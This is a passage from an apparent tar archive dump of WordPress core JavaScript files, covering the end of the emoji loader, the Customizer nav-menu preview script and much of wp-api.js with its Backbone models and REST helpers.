e,t,n,a,r=u.length;r--;){if(e=u[r].addedNodes,t=u[r].removedNodes,1===(n=e.length)&&1===t.length&&3===e[0].nodeType&&"IMG"===t[0].nodeName&&e[0].data===t[0].alt&&"load-failed"===t[0].getAttribute("data-error"))return;for(;n--;){if(3===(a=e[n]).nodeType){if(!a.parentNode)continue;if(o)for(;a.nextSibling&&3===a.nextSibling.nodeType;)a.nodeValue=a.nodeValue+a.nextSibling.nodeValue,a.parentNode.removeChild(a.nextSibling);a=a.parentNode}d(a.textContent)&&f(a)}}}).observe(a.body,{childList:!0,subtree:!0}),f(a.body)}}function d(u){return!!u&&(/[\uDC00-\uDFFF]/.test(u)||/[\u203C\u2049\u20E3\u2122\u2139\u2194-\u2199\u21A9\u21AA\u2300\u231A\u231B\u2328\u2388\u23CF\u23E9-\u23F3\u23F8-\u23FA\u24C2\u25AA\u25AB\u25B6\u25C0\u25FB-\u25FE\u2600-\u2604\u260E\u2611\u2614\u2615\u2618\u261D\u2620\u2622\u2623\u2626\u262A\u262E\u262F\u2638\u2639\u263A\u2648-\u2653\u2660\u2663\u2665\u2666\u2668\u267B\u267F\u2692\u2693\u2694\u2696\u2697\u2699\u269B\u269C\u26A0\u26A1\u26AA\u26AB\u26B0\u26B1\u26BD\u26BE\u26C4\u26C5\u26C8\u26CE\u26CF\u26D1\u26D3\u26D4\u26E9\u26EA\u26F0-\u26F5\u26F7-\u26FA\u26FD\u2702\u2705\u2708-\u270D\u270F\u2712\u2714\u2716\u271D\u2721\u2728\u2733\u2734\u2744\u2747\u274C\u274E\u2753\u2754\u2755\u2757\u2763\u2764\u2795\u2796\u2797\u27A1\u27B0\u27BF\u2934\u2935\u2B05\u2B06\u2B07\u2B1B\u2B1C\u2B50\u2B55\u3030\u303D\u3297\u3299]/.test(u))}function f(u,e){var t;return!l.supports.everything&&n&&u&&("string"==typeof u||u.childNodes&&u.childNodes.length)?(e=e||{},t={base:i()?l.svgUrl:l.baseUrl,ext:i()?l.svgExt:l.ext,className:e.className||"emoji",callback:function(u,e){switch(u){case"a9":case"ae":case"2122":case"2194":case"2660":case"2663":case"2665":case"2666":return!1}return!(l.supports.everythingExceptFlag&&!/^1f1(?:e[6-9a-f]|f[0-9a-f])-1f1(?:e[6-9a-f]|f[0-9a-f])$/.test(u)&&!/^(1f3f3-fe0f-200d-1f308|1f3f4-200d-2620-fe0f)$/.test(u))&&"".concat(e.base,u,e.ext)},attributes:function(){return{role:"img"}},onerror:function(){n.parentNode&&(this.setAttribute("data-error","load-failed"),n.parentNode.replaceChild(a.createTextNode(n.alt),n))},doNotParse:function(u){return!(!u||!u.className||"string"!=typeof u.className||-1===u.className.indexOf("wp-exclude-emoji"))}},"object"==typeof e.imgAttr&&(t.attributes=function(){return e.imgAttr}),n.parse(u,t)):u}return l&&(l.DOMReady?s():l.readyCallback=s),{parse:f,test:d}}}(window,window._wpemojiSettings); customize-preview-nav-menus.min.js 0000644 00000011651 15111757754 0013315 0 ustar 00 /*! This file is auto-generated */ wp.customize.navMenusPreview=wp.customize.MenusCustomizerPreview=function(a,c,l){"use strict";var t={data:{navMenuInstanceArgs:{}}};return"undefined"!=typeof _wpCustomizePreviewNavMenusExports&&c.extend(t.data,_wpCustomizePreviewNavMenusExports),t.init=function(){var n=this,t=!1;l.preview.bind("sync",function(){t=!0}),l.selectiveRefresh&&(l.each(function(e){n.bindSettingListener(e)}),l.bind("add",function(e){e.get()&&!e.get()._invalid&&n.bindSettingListener(e,{fire:t})}),l.bind("remove",function(e){n.unbindSettingListener(e)}),l.selectiveRefresh.bind("render-partials-response",function(e){e.nav_menu_instance_args&&c.extend(n.data.navMenuInstanceArgs,e.nav_menu_instance_args)})),l.preview.bind("active",function(){n.highlightControls()})},l.selectiveRefresh&&(t.NavMenuInstancePartial=l.selectiveRefresh.Partial.extend({initialize:function(e,n){var t=this,a=e.match(/^nav_menu_instance\[([0-9a-f]{32})]$/);if(!a)throw new Error("Illegal id for nav_menu_instance partial. The key corresponds with the args HMAC.");if(a=a[1],(n=n||{}).params=c.extend({selector:'[data-customize-partial-id="'+e+'"]',navMenuArgs:n.constructingContainerContext||{},containerInclusive:!0},n.params||{}),l.selectiveRefresh.Partial.prototype.initialize.call(t,e,n),!c.isObject(t.params.navMenuArgs))throw new Error("Missing navMenuArgs");if(t.params.navMenuArgs.args_hmac!==a)throw new Error("args_hmac mismatch with id")},isRelatedSetting:function(e,n,t){var a,i,r,s,o,u=this;if(c.isString(e)&&(e=l(e)),(i=/^nav_menu_item\[/.test(e.id))&&c.isObject(n)&&c.isObject(t)&&(r=c.clone(n),s=c.clone(t),delete r.type_label,delete s.type_label,"https"===l.preview.scheme.get()&&((o=document.createElement("a")).href=r.url,o.protocol="https:",r.url=o.href,o.href=s.url,o.protocol="https:",s.url=o.href),n.title&&(delete s.original_title,delete r.original_title),c.isEqual(s,r)))return!1;if(u.params.navMenuArgs.theme_location){if("nav_menu_locations["+u.params.navMenuArgs.theme_location+"]"===e.id)return!0;a=l("nav_menu_locations["+u.params.navMenuArgs.theme_location+"]")}return!!(o=!(o=u.params.navMenuArgs.menu)&&a?a():o)&&("nav_menu["+o+"]"===e.id||i&&(n&&n.nav_menu_term_id===o||t&&t.nav_menu_term_id===o))},refresh:function(){var e,n=this,t=a.Deferred();return c.isNumber(n.params.navMenuArgs.menu)?e=n.params.navMenuArgs.menu:n.params.navMenuArgs.theme_location&&l.has("nav_menu_locations["+n.params.navMenuArgs.theme_location+"]")&&(e=l("nav_menu_locations["+n.params.navMenuArgs.theme_location+"]").get()),e?l.selectiveRefresh.Partial.prototype.refresh.call(n):(n.fallback(),t.reject(),t.promise())},renderContent:function(e){var n=e.container;""===e.addedContent&&e.partial.fallback(),l.selectiveRefresh.Partial.prototype.renderContent.call(this,e)&&a(document).trigger("customize-preview-menu-refreshed",[{instanceNumber:null,wpNavArgs:e.context,wpNavMenuArgs:e.context,oldContainer:n,newContainer:e.container}])}}),l.selectiveRefresh.partialConstructor.nav_menu_instance=t.NavMenuInstancePartial,t.handleUnplacedNavMenuInstances=function(e){var n=c.filter(c.values(t.data.navMenuInstanceArgs),function(e){return!l.selectiveRefresh.partial.has("nav_menu_instance["+e.args_hmac+"]")});return!!c.findWhere(n,e)&&(l.selectiveRefresh.requestFullRefresh(),!0)},t.bindSettingListener=function(e,n){var t;return n=n||{},(t=e.id.match(/^nav_menu\[(-?\d+)]$/))?(e._navMenuId=parseInt(t[1],10),e.bind(this.onChangeNavMenuSetting),n.fire&&this.onChangeNavMenuSetting.call(e,e(),!1),!0):(t=e.id.match(/^nav_menu_item\[(-?\d+)]$/))?(e._navMenuItemId=parseInt(t[1],10),e.bind(this.onChangeNavMenuItemSetting),n.fire&&this.onChangeNavMenuItemSetting.call(e,e(),!1),!0):!!(t=e.id.match(/^nav_menu_locations\[(.+?)]/))&&(e._navMenuThemeLocation=t[1],e.bind(this.onChangeNavMenuLocationsSetting),n.fire&&this.onChangeNavMenuLocationsSetting.call(e,e(),!1),!0)},t.unbindSettingListener=function(e){e.unbind(this.onChangeNavMenuSetting),e.unbind(this.onChangeNavMenuItemSetting),e.unbind(this.onChangeNavMenuLocationsSetting)},t.onChangeNavMenuSetting=function(){var n=this;t.handleUnplacedNavMenuInstances({menu:n._navMenuId}),l.each(function(e){e._navMenuThemeLocation&&n._navMenuId===e()&&t.handleUnplacedNavMenuInstances({theme_location:e._navMenuThemeLocation})})},t.onChangeNavMenuItemSetting=function(e,n){e=l("nav_menu["+String((e||n).nav_menu_term_id)+"]");e&&t.onChangeNavMenuSetting.call(e)},t.onChangeNavMenuLocationsSetting=function(){t.handleUnplacedNavMenuInstances({theme_location:this._navMenuThemeLocation}),!c.findWhere(c.values(t.data.navMenuInstanceArgs),{theme_location:this._navMenuThemeLocation})&&l.selectiveRefresh.requestFullRefresh()}),t.highlightControls=function(){l.settings.channel&&a(document).on("click",".menu-item",function(e){var n;e.shiftKey&&(n=a(this).attr("class").match(/(?:^|\s)menu-item-(-?\d+)(?:\s|$)/))&&(e.preventDefault(),e.stopPropagation(),l.preview.send("focus-nav-menu-item-control",parseInt(n[1],10)))})},l.bind("preview-ready",function(){t.init()}),t}(jQuery,_,wp.customize); wp-api.js 0000644 00000133607 15111757754 0006326 0 ustar 00 /** * @output wp-includes/js/wp-api.js */ (function( window, undefined ) { 'use strict'; /** * Initialize the WP_API. */ function WP_API() { /** @namespace wp.api.models */ this.models = {}; /** @namespace wp.api.collections */ this.collections = {}; /** @namespace wp.api.views */ this.views = {}; } /** @namespace wp */ window.wp = window.wp || {}; /** @namespace wp.api */ wp.api = wp.api || new WP_API(); wp.api.versionString = wp.api.versionString || 'wp/v2/'; // Alias _includes to _.contains, ensuring it is available if lodash is used. if ( ! _.isFunction( _.includes ) && _.isFunction( _.contains ) ) { _.includes = _.contains; } })( window ); (function( window, undefined ) { 'use strict'; var pad, r; /** @namespace wp */ window.wp = window.wp || {}; /** @namespace wp.api */ wp.api = wp.api || {}; /** @namespace wp.api.utils */ wp.api.utils = wp.api.utils || {}; /** * Determine model based on API route. * * @param {string} route The API route. * * @return {Backbone Model} The model found at given route. Undefined if not found. */ wp.api.getModelByRoute = function( route ) { return _.find( wp.api.models, function( model ) { return model.prototype.route && route === model.prototype.route.index; } ); }; /** * Determine collection based on API route. * * @param {string} route The API route. * * @return {Backbone Model} The collection found at given route. Undefined if not found. */ wp.api.getCollectionByRoute = function( route ) { return _.find( wp.api.collections, function( collection ) { return collection.prototype.route && route === collection.prototype.route.index; } ); }; /** * ECMAScript 5 shim, adapted from MDN. * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString */ if ( ! Date.prototype.toISOString ) { pad = function( number ) { r = String( number ); if ( 1 === r.length ) { r = '0' + r; } return r; }; Date.prototype.toISOString = function() { return this.getUTCFullYear() + '-' + pad( this.getUTCMonth() + 1 ) + '-' + pad( this.getUTCDate() ) + 'T' + pad( this.getUTCHours() ) + ':' + pad( this.getUTCMinutes() ) + ':' + pad( this.getUTCSeconds() ) + '.' + String( ( this.getUTCMilliseconds() / 1000 ).toFixed( 3 ) ).slice( 2, 5 ) + 'Z'; }; } /** * Parse date into ISO8601 format. * * @param {Date} date. */ wp.api.utils.parseISO8601 = function( date ) { var timestamp, struct, i, k, minutesOffset = 0, numericKeys = [ 1, 4, 5, 6, 7, 10, 11 ]; /* * ES5 §15.9.4.2 states that the string should attempt to be parsed as a Date Time String Format string * before falling back to any implementation-specific date parsing, so that’s what we do, even if native * implementations could be faster. */ // 1 YYYY 2 MM 3 DD 4 HH 5 mm 6 ss 7 msec 8 Z 9 ± 10 tzHH 11 tzmm if ( ( struct = /^(\d{4}|[+\-]\d{6})(?:-(\d{2})(?:-(\d{2}))?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(?:\.(\d{3}))?)?(?:(Z)|([+\-])(\d{2})(?::(\d{2}))?)?)?$/.exec( date ) ) ) { // Avoid NaN timestamps caused by “undefined” values being passed to Date.UTC. for ( i = 0; ( k = numericKeys[i] ); ++i ) { struct[k] = +struct[k] || 0; } // Allow undefined days and months. struct[2] = ( +struct[2] || 1 ) - 1; struct[3] = +struct[3] || 1; if ( 'Z' !== struct[8] && undefined !== struct[9] ) { minutesOffset = struct[10] * 60 + struct[11]; if ( '+' === struct[9] ) { minutesOffset = 0 - minutesOffset; } } timestamp = Date.UTC( struct[1], struct[2], struct[3], struct[4], struct[5] + minutesOffset, struct[6], struct[7] ); } else { timestamp = Date.parse ? Date.parse( date ) : NaN; } return timestamp; }; /** * Helper function for getting the root URL. * @return {[type]} [description] */ wp.api.utils.getRootUrl = function() { return window.location.origin ? window.location.origin + '/' : window.location.protocol + '//' + window.location.host + '/'; }; /** * Helper for capitalizing strings. */ wp.api.utils.capitalize = function( str ) { if ( _.isUndefined( str ) ) { return str; } return str.charAt( 0 ).toUpperCase() + str.slice( 1 ); }; /** * Helper function that capitalizes the first word and camel cases any words starting * after dashes, removing the dashes. */ wp.api.utils.capitalizeAndCamelCaseDashes = function( str ) { if ( _.isUndefined( str ) ) { return str; } str = wp.api.utils.capitalize( str ); return wp.api.utils.camelCaseDashes( str ); }; /** * Helper function to camel case the letter after dashes, removing the dashes. */ wp.api.utils.camelCaseDashes = function( str ) { return str.replace( /-([a-z])/g, function( g ) { return g[ 1 ].toUpperCase(); } ); }; /** * Extract a route part based on negative index. * * @param {string} route The endpoint route. * @param {number} part The number of parts from the end of the route to retrieve. Default 1. * Example route `/a/b/c`: part 1 is `c`, part 2 is `b`, part 3 is `a`. * @param {string} [versionString] Version string, defaults to `wp.api.versionString`. * @param {boolean} [reverse] Whether to reverse the order when extracting the route part. Optional, default false. */ wp.api.utils.extractRoutePart = function( route, part, versionString, reverse ) { var routeParts; part = part || 1; versionString = versionString || wp.api.versionString; // Remove versions string from route to avoid returning it. if ( 0 === route.indexOf( '/' + versionString ) ) { route = route.substr( versionString.length + 1 ); } routeParts = route.split( '/' ); if ( reverse ) { routeParts = routeParts.reverse(); } if ( _.isUndefined( routeParts[ --part ] ) ) { return ''; } return routeParts[ part ]; }; /** * Extract a parent name from a passed route. * * @param {string} route The route to extract a name from. */ wp.api.utils.extractParentName = function( route ) { var name, lastSlash = route.lastIndexOf( '_id>[\\d]+)/' ); if ( lastSlash < 0 ) { return ''; } name = route.substr( 0, lastSlash - 1 ); name = name.split( '/' ); name.pop(); name = name.pop(); return name; }; /** * Add args and options to a model prototype from a route's endpoints. * * @param {Array} routeEndpoints Array of route endpoints. * @param {Object} modelInstance An instance of the model (or collection) * to add the args to. */ wp.api.utils.decorateFromRoute = function( routeEndpoints, modelInstance ) { /** * Build the args based on route endpoint data. */ _.each( routeEndpoints, function( routeEndpoint ) { // Add post and edit endpoints as model args. if ( _.includes( routeEndpoint.methods, 'POST' ) || _.includes( routeEndpoint.methods, 'PUT' ) ) { // Add any non-empty args, merging them into the args object. if ( ! _.isEmpty( routeEndpoint.args ) ) { // Set as default if no args yet. if ( _.isEmpty( modelInstance.prototype.args ) ) { modelInstance.prototype.args = routeEndpoint.args; } else { // We already have args, merge these new args in. modelInstance.prototype.args = _.extend( modelInstance.prototype.args, routeEndpoint.args ); } } } else { // Add GET method as model options. if ( _.includes( routeEndpoint.methods, 'GET' ) ) { // Add any non-empty args, merging them into the defaults object. if ( ! _.isEmpty( routeEndpoint.args ) ) { // Set as default if no defaults yet. if ( _.isEmpty( modelInstance.prototype.options ) ) { modelInstance.prototype.options = routeEndpoint.args; } else { // We already have options, merge these new args in. modelInstance.prototype.options = _.extend( modelInstance.prototype.options, routeEndpoint.args ); } } } } } ); }; /** * Add mixins and helpers to models depending on their defaults. * * @param {Backbone Model} model The model to attach helpers and mixins to. * @param {string} modelClassName The classname of the constructed model. * @param {Object} loadingObjects An object containing the models and collections we are building. */ wp.api.utils.addMixinsAndHelpers = function( model, modelClassName, loadingObjects ) { var hasDate = false, /** * Array of parseable dates. * * @type {string[]}. */ parseableDates = [ 'date', 'modified', 'date_gmt', 'modified_gmt' ], /** * Mixin for all content that is time stamped. * * This mixin converts between mysql timestamps and JavaScript Dates when syncing a model * to or from the server. For example, a date stored as `2015-12-27T21:22:24` on the server * gets expanded to `Sun Dec 27 2015 14:22:24 GMT-0700 (MST)` when the model is fetched. * * @type {{toJSON: toJSON, parse: parse}}. */ TimeStampedMixin = { /** * Prepare a JavaScript Date for transmitting to the server. * * This helper function accepts a field and Date object. It converts the passed Date * to an ISO string and sets that on the model field. * * @param {Date} date A JavaScript date object. WordPress expects dates in UTC. * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified' * or 'date_modified_gmt'. Optional, defaults to 'date'. */ setDate: function( date, field ) { var theField = field || 'date'; // Don't alter non-parsable date fields. if ( _.indexOf( parseableDates, theField ) < 0 ) { return false; } this.set( theField, date.toISOString() ); }, /** * Get a JavaScript Date from the passed field. * * WordPress returns 'date' and 'date_modified' in the timezone of the server as well as * UTC dates as 'date_gmt' and 'date_modified_gmt'. Draft posts do not include UTC dates. * * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified' * or 'date_modified_gmt'. Optional, defaults to 'date'. */ getDate: function( field ) { var theField = field || 'date', theISODate = this.get( theField ); // Only get date fields and non-null values. if ( _.indexOf( parseableDates, theField ) < 0 || _.isNull( theISODate ) ) { return false; } return new Date( wp.api.utils.parseISO8601( theISODate ) ); } }, /** * Build a helper function to retrieve related model. * * @param {string} parentModel The parent model. * @param {number} modelId The model ID if the object to request * @param {string} modelName The model name to use when constructing the model. * @param {string} embedSourcePoint Where to check the embedded object for _embed data. * @param {string} embedCheckField Which model field to check to see if the model has data. * * @return {Deferred.promise} A promise which resolves to the constructed model. */ buildModelGetter = function( parentModel, modelId, modelName, embedSourcePoint, embedCheckField ) { var getModel, embeddedObjects, attributes, deferred; deferred = jQuery.Deferred(); embeddedObjects = parentModel.get( '_embedded' ) || {}; // Verify that we have a valid object id. if ( ! _.isNumber( modelId ) || 0 === modelId ) { deferred.reject(); return deferred; } // If we have embedded object data, use that when constructing the getModel. if ( embeddedObjects[ embedSourcePoint ] ) { attributes = _.findWhere( embeddedObjects[ embedSourcePoint ], { id: modelId } ); } // Otherwise use the modelId. if ( ! attributes ) { attributes = { id: modelId }; } // Create the new getModel model. getModel = new wp.api.models[ modelName ]( attributes ); if ( ! getModel.get( embedCheckField ) ) { getModel.fetch( { success: function( getModel ) { deferred.resolve( getModel ); }, error: function( getModel, response ) { deferred.reject( response ); } } ); } else { // Resolve with the embedded model. deferred.resolve( getModel ); } // Return a promise. return deferred.promise(); }, /** * Build a helper to retrieve a collection. * * @param {string} parentModel The parent model. * @param {string} collectionName The name to use when constructing the collection. * @param {string} embedSourcePoint Where to check the embedded object for _embed data. * @param {string} embedIndex An additional optional index for the _embed data. * * @return {Deferred.promise} A promise which resolves to the constructed collection. */ buildCollectionGetter = function( parentModel, collectionName, embedSourcePoint, embedIndex ) { /** * Returns a promise that resolves to the requested collection * * Uses the embedded data if available, otherwise fetches the * data from the server. * * @return {Deferred.promise} promise Resolves to a wp.api.collections[ collectionName ] * collection. */ var postId, embeddedObjects, getObjects, classProperties = '', properties = '', deferred = jQuery.Deferred(); postId = parentModel.get( 'id' ); embeddedObjects = parentModel.get( '_embedded' ) || {}; // Verify that we have a valid post ID. if ( ! _.isNumber( postId ) || 0 === postId ) { deferred.reject(); return deferred; } // If we have embedded getObjects data, use that when constructing the getObjects. if ( ! _.isUndefined( embedSourcePoint ) && ! _.isUndefined( embeddedObjects[ embedSourcePoint ] ) ) { // Some embeds also include an index offset, check for that. if ( _.isUndefined( embedIndex ) ) { // Use the embed source point directly. properties = embeddedObjects[ embedSourcePoint ]; } else { // Add the index to the embed source point. properties = embeddedObjects[ embedSourcePoint ][ embedIndex ]; } } else { // Otherwise use the postId. classProperties = { parent: postId }; } // Create the new getObjects collection. getObjects = new wp.api.collections[ collectionName ]( properties, classProperties ); // If we didn’t have embedded getObjects, fetch the getObjects data. if ( _.isUndefined( getObjects.models[0] ) ) { getObjects.fetch( { success: function( getObjects ) { // Add a helper 'parent_post' attribute onto the model. setHelperParentPost( getObjects, postId ); deferred.resolve( getObjects ); }, error: function( getModel, response ) { deferred.reject( response ); } } ); } else { // Add a helper 'parent_post' attribute onto the model. setHelperParentPost( getObjects, postId ); deferred.resolve( getObjects ); } // Return a promise. return deferred.promise(); }, /** * Set the model post parent. */ setHelperParentPost = function( collection, postId ) { // Attach post_parent id to the collection. _.each( collection.models, function( model ) { model.set( 'parent_post', postId ); } ); }, /** * Add a helper function to handle post Meta. */ MetaMixin = { /** * Get meta by key for a post. * * @param {string} key The meta key. * * @return {Object} The post meta value. */ getMeta: function( key ) { var metas = this.get( 'meta' ); return metas[ key ]; }, /** * Get all meta key/values for a post. * * @return {Object} The post metas, as a key value pair object. */ getMetas: function() { return this.get( 'meta' ); }, /** * Set a group of meta key/values for a post. * * @param {Object} meta The post meta to set, as key/value pairs. */ setMetas: function( meta ) { var metas = this.get( 'meta' ); _.extend( metas, meta ); this.set( 'meta', metas ); }, /** * Set a single meta value for a post, by key. * * @param {string} key The meta key. * @param {Object} value The meta value. */ setMeta: function( key, value ) { var metas = this.get( 'meta' ); metas[ key ] = value; this.set( 'meta', metas ); } }, /** * Add a helper function to handle post Revisions. */ RevisionsMixin = { getRevisions: function() { return buildCollectionGetter( this, 'PostRevisions' ); } }, /** * Add a helper function to handle post Tags. */ TagsMixin = { /** * Get the tags for a post. * * @return {Deferred.promise} promise Resolves to an array of tags. */ getTags: function() { var tagIds = this.get( 'tags' ), tags = new wp.api.collections.Tags(); // Resolve with an empty array if no tags. if ( _.isEmpty( tagIds ) ) { return jQuery.Deferred().resolve( [] ); } return tags.fetch( { data: { include: tagIds } } ); }, /** * Set the tags for a post. * * Accepts an array of tag slugs, or a Tags collection. * * @param {Array|Backbone.Collection} tags The tags to set on the post. * */ setTags: function( tags ) { var allTags, newTag, self = this, newTags = []; if ( _.isString( tags ) ) { return false; } // If this is an array of slugs, build a collection. if ( _.isArray( tags ) ) { // Get all the tags. allTags = new wp.api.collections.Tags(); allTags.fetch( { data: { per_page: 100 }, success: function( alltags ) { // Find the passed tags and set them up. _.each( tags, function( tag ) { newTag = new wp.api.models.Tag( alltags.findWhere( { slug: tag } ) ); // Tie the new tag to the post. newTag.set( 'parent_post', self.get( 'id' ) ); // Add the new tag to the collection. newTags.push( newTag ); } ); tags = new wp.api.collections.Tags( newTags ); self.setTagsWithCollection( tags ); } } ); } else { this.setTagsWithCollection( tags ); } }, /** * Set the tags for a post. * * Accepts a Tags collection. * * @param {Array|Backbone.Collection} tags The tags to set on the post. * */ setTagsWithCollection: function( tags ) { // Pluck out the category IDs. this.set( 'tags', tags.pluck( 'id' ) ); return this.save(); } }, /** * Add a helper function to handle post Categories. */ CategoriesMixin = { /** * Get a the categories for a post. * * @return {Deferred.promise} promise Resolves to an array of categories. */ getCategories: function() { var categoryIds = this.get( 'categories' ), categories = new wp.api.collections.Categories(); // Resolve with an empty array if no categories. if ( _.isEmpty( categoryIds ) ) { return jQuery.Deferred().resolve( [] ); } return categories.fetch( { data: { include: categoryIds } } ); }, /** * Set the categories for a post. * * Accepts an array of category slugs, or a Categories collection. * * @param {Array|Backbone.Collection} categories The categories to set on the post. * */ setCategories: function( categories ) { var allCategories, newCategory, self = this, newCategories = []; if ( _.isString( categories ) ) { return false; } // If this is an array of slugs, build a collection. if ( _.isArray( categories ) ) { // Get all the categories. allCategories = new wp.api.collections.Categories(); allCategories.fetch( { data: { per_page: 100 }, success: function( allcats ) { // Find the passed categories and set them up. _.each( categories, function( category ) { newCategory = new wp.api.models.Category( allcats.findWhere( { slug: category } ) ); // Tie the new category to the post. newCategory.set( 'parent_post', self.get( 'id' ) ); // Add the new category to the collection. newCategories.push( newCategory ); } ); categories = new wp.api.collections.Categories( newCategories ); self.setCategoriesWithCollection( categories ); } } ); } else { this.setCategoriesWithCollection( categories ); } }, /** * Set the categories for a post. * * Accepts Categories collection. * * @param {Array|Backbone.Collection} categories The categories to set on the post. * */ setCategoriesWithCollection: function( categories ) { // Pluck out the category IDs. this.set( 'categories', categories.pluck( 'id' ) ); return this.save(); } }, /** * Add a helper function to retrieve the author user model. */ AuthorMixin = { getAuthorUser: function() { return buildModelGetter( this, this.get( 'author' ), 'User', 'author', 'name' ); } }, /** * Add a helper function to retrieve the featured media. */ FeaturedMediaMixin = { getFeaturedMedia: function() { return buildModelGetter( this, this.get( 'featured_media' ), 'Media', 'wp:featuredmedia', 'source_url' ); } }; // Exit if we don't have valid model defaults. if ( _.isUndefined( model.prototype.args ) ) { return model; } // Go thru the parsable date fields, if our model contains any of them it gets the TimeStampedMixin. _.each( parseableDates, function( theDateKey ) { if ( ! _.isUndefined( model.prototype.args[ theDateKey ] ) ) { hasDate = true; } } ); // Add the TimeStampedMixin for models that contain a date field. if ( hasDate ) { model = model.extend( TimeStampedMixin ); } // Add the AuthorMixin for models that contain an author. if ( ! _.isUndefined( model.prototype.args.author ) ) { model = model.extend( AuthorMixin ); } // Add the FeaturedMediaMixin for models that contain a featured_media. if ( ! _.isUndefined( model.prototype.args.featured_media ) ) { model = model.extend( FeaturedMediaMixin ); } // Add the CategoriesMixin for models that support categories collections. if ( ! _.isUndefined( model.prototype.args.categories ) ) { model = model.extend( CategoriesMixin ); } // Add the MetaMixin for models that support meta. if ( ! _.isUndefined( model.prototype.args.meta ) ) { model = model.extend( MetaMixin ); } // Add the TagsMixin for models that support tags collections. if ( ! _.isUndefined( model.prototype.args.tags ) ) { model = model.extend( TagsMixin ); } // Add the RevisionsMixin for models that support revisions collections. if ( ! _.isUndefined( loadingObjects.collections[ modelClassName + 'Revisions' ] ) ) { model = model.extend( RevisionsMixin ); } return model; }; })( window ); /* global wpApiSettings:false */ // Suppress warning about parse function's unused "options" argument: /* jshint unused:false */ (function() { 'use strict'; var wpApiSettings = window.wpApiSettings || {}, trashableTypes = [ 'Comment', 'Media', 'Comment', 'Post', 'Page', 'Status', 'Taxonomy', 'Type' ]; /** * Backbone base model for all models. */ wp.api.WPApiBaseModel = Backbone.Model.extend( /** @lends WPApiBaseModel.prototype */ { // Initialize the model. initialize: function() { /** * Types that don't support trashing require passing ?force=true to delete. * */ if ( -1 === _.indexOf( trashableTypes, this.name ) ) { this.requireForceForDelete = true; } }, /** * Set nonce header before every Backbone sync. * * @param {string} method. * @param {Backbone.Model} model. * @param {{beforeSend}, *} options. * @return {*}. */ sync: function( method, model, options ) { var beforeSend; options = options || {}; // Remove date_gmt if null. if ( _.isNull( model.get( 'date_gmt' ) ) ) { model.unset( 'date_gmt' ); } // Remove slug if empty. if ( _.isEmpty( model.get( 'slug' ) ) ) { model.unset( 'slug' ); } if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) { beforeSend = options.beforeSend; // @todo Enable option for jsonp endpoints. // options.dataType = 'jsonp'; // Include the nonce with requests. options.beforeSend = function( xhr ) { xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() ); if ( beforeSend ) { return beforeSend.apply( this, arguments ); } }; // Update the nonce when a new nonce is returned with the response. options.complete = function( xhr ) { var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' ); if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) { model.endpointModel.set( 'nonce', returnedNonce ); } }; } // Add '?force=true' to use delete method when required. if ( this.requireForceForDelete && 'delete' === method ) { model.url = model.url() + '?force=true'; } return Backbone.sync( method, model, options ); }, /** * Save is only allowed when the PUT OR POST methods are available for the endpoint. */ save: function( attrs, options ) { // Do we have the put method, then execute the save. if ( _.includes( this.methods, 'PUT' ) || _.includes( this.methods, 'POST' ) ) { // Proxy the call to the original save function. return Backbone.Model.prototype.save.call( this, attrs, options ); } else { // Otherwise bail, disallowing action. return false; } }, /** * Delete is only allowed when the DELETE method is available for the endpoint. */ destroy: function( options ) { // Do we have the DELETE method, then execute the destroy. if ( _.includes( this.methods, 'DELETE' ) ) { // Proxy the call to the original save function. return Backbone.Model.prototype.destroy.call( this, options ); } else { // Otherwise bail, disallowing action. return false; } } } ); /** * API Schema model. Contains meta information about the API. */ wp.api.models.Schema = wp.api.WPApiBaseModel.extend( /** @lends Schema.prototype */ { defaults: { _links: {}, namespace: null, routes: {} }, initialize: function( attributes, options ) { var model = this; options = options || {}; wp.api.WPApiBaseModel.prototype.initialize.call( model, attributes, options ); model.apiRoot = options.apiRoot || wpApiSettings.root; model.versionString = options.versionString || wpApiSettings.versionString; }, url: function() { return this.apiRoot + this.versionString; } } ); })(); ( function() { 'use strict'; var wpApiSettings = window.wpApiSettings || {}; /** * Contains basic collection functionality such as pagination. */ wp.api.WPApiBaseCollection = Backbone.Collection.extend( /** @lends BaseCollection.prototype */ { /** * Setup default state. */ initialize: function( models, options ) { this.state = { data: {}, currentPage: null, totalPages: null, totalObjects: null }; if ( _.isUndefined( options ) ) { this.parent = ''; } else { this.parent = options.parent; } }, /** * Extend Backbone.Collection.sync to add nince and pagination support. * * Set nonce header before every Backbone sync. * * @param {string} method. * @param {Backbone.Model} model. * @param {{success}, *} options. * @return {*}. */ sync: function( method, model, options ) { var beforeSend, success, self = this; options = options || {}; if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) { beforeSend = options.beforeSend; // Include the nonce with requests. options.beforeSend = function( xhr ) { xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() ); if ( beforeSend ) { return beforeSend.apply( self, arguments ); } }; // Update the nonce when a new nonce is returned with the response. options.complete = function( xhr ) { var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' ); if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) { model.endpointModel.set( 'nonce', returnedNonce ); } }; } // When reading, add pagination data. if ( 'read' === method ) { if ( options.data ) { self.state.data = _.clone( options.data ); delete self.state.data.page; } else { self.state.data = options.data = {}; } if ( 'undefined' === typeof options.data.page ) { self.state.currentPage = null; self.state.totalPages = null; self.state.totalObjects = null; } else { self.state.currentPage = options.data.page - 1; } success = options.success; options.success = function( data, textStatus, request ) { if ( ! _.isUndefined( request ) ) { self.state.totalPages = parseInt( request.getResponseHeader( 'x-wp-totalpages' ), 10 ); self.state.totalObjects = parseInt( request.getResponseHeader( 'x-wp-total' ), 10 ); } if ( null === self.state.currentPage ) { self.state.currentPage = 1; } else { self.state.currentPage++; } if ( success ) { return success.apply( this, arguments ); } }; } // Continue by calling Backbone's sync. return Backbone.sync( method, model, options ); }, /** * Fetches the next page of objects if a new page exists. * * @param {data: {page}} options. * @return {*}. */ more: function( options ) { options = options || {}; options.data = options.data || {}; _.extend( options.data, this.state.data ); if ( 'undefined' === typeof options.data.page ) { if ( ! 